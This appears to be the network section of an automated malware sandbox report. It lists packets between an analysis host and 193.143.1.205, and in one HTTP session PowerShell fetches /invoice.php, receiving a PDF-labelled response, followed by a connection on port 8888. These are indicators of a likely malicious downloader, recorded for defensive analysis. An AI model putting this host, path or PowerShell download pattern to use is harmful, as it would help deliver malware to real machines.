Jan 10, 2025 14:32:21.320838928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.320962906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.320962906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.342149019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342288017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.342350006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342361927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342379093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342391014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342401981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342415094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342427015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342432976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342444897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342444897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.342451096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342462063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342468023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342484951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342497110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342502117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.342502117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.342514992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342526913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342540026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342541933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.342541933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.342552900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342564106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342575073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342586994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342609882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.342617989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.342650890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.342650890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.356890917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.377036095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377053976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377074957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377089024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377103090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377109051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377127886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377140045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377151966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377163887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377186060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377198935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377230883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.377243996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377266884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.377266884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.377275944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377289057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377306938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377317905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377327919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377346039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.377346039 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.377348900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377362013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377393007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377403975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.377403975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.377408028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377419949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377432108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377461910 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.377523899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377535105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377540112 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.377543926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377557993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377569914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377582073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377593040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377604008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.377604008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.377616882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377624035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.377628088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377640009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377677917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377691984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.377691984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.377701998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377737999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.377760887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377810955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377829075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377844095 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.377901077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377927065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.377999067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378010035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.378073931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.378082037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378094912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378108025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378119946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378144026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.378179073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.378192902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378205061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378216028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378227949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378237963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378277063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.378277063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.378283978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378295898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378307104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378319025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378330946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378355026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.378355026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.378371954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378385067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378396034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378407955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378418922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378426075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.378426075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.378454924 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.378472090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378483057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378494978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378506899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378535032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.378535032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.378612041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378623009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378634930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378645897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378659010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378669977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378674984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.378674984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.378683090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378726006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.378726006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.378747940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378760099 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378771067 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378782034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378793955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378806114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378854990 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.378854990 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.378879070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378890991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378902912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378914118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378927946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.378932953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.379007101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.379019022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.379029989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.379040956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.379040956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.379040956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.379053116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.379065037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.379077911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.379103899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.379103899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.379122972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.394227982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.394313097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.394325972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.394335985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.394346952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.394359112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.394366980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.394371986 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.394454956 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.423496008 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.432964087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433002949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433022976 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433058023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433060884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.433069944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433108091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433120966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433132887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433146954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433157921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.433157921 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.433181047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433192968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433193922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.433193922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.433238029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.433238029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433249950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433262110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433274031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433293104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433306932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433310032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.433310032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.433384895 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.433396101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433407068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433413982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433433056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433444977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433456898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433474064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.433475018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.433475971 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.433556080 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.467680931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.467708111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.467720032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.467761993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.467773914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.467786074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.467798948 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.467801094 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.467871904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.467884064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.467890978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.467901945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.467914104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.467926025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.467942953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.467948914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.467948914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.467956066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.467997074 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.468004942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.468017101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.468036890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.468048096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.468060017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.468070030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.468070030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.468071938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:21.468113899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.513473034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.690776110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:21.887902975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:22.469104052 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:22.473980904 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:22.474073887 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:22.474240065 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:22.479027987 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:23.304712057 CET	8888	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:32:23.354465008 CET	49705	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 14:32:23.382123947 CET	49705	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:32:31.343030930 CET	59709	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 14:32:31.343030930 CET	192.168.2.8	1.1.1.1	0x96b4	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 14:32:31.351660967 CET	1.1.1.1	192.168.2.8	0x96b4	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 14:32:32.040909052 CET	1.1.1.1	192.168.2.8	0x2f38	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 14:32:32.040909052 CET	1.1.1.1	192.168.2.8	0x2f38	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	193.143.1.205	80	3528	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:32:19.899161100 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 14:32:20.829619884 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:32:20 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 14:32:20.829632998 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 14:32:20.829648018 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 14:32:20.829670906 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 14:32:20.829684019 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
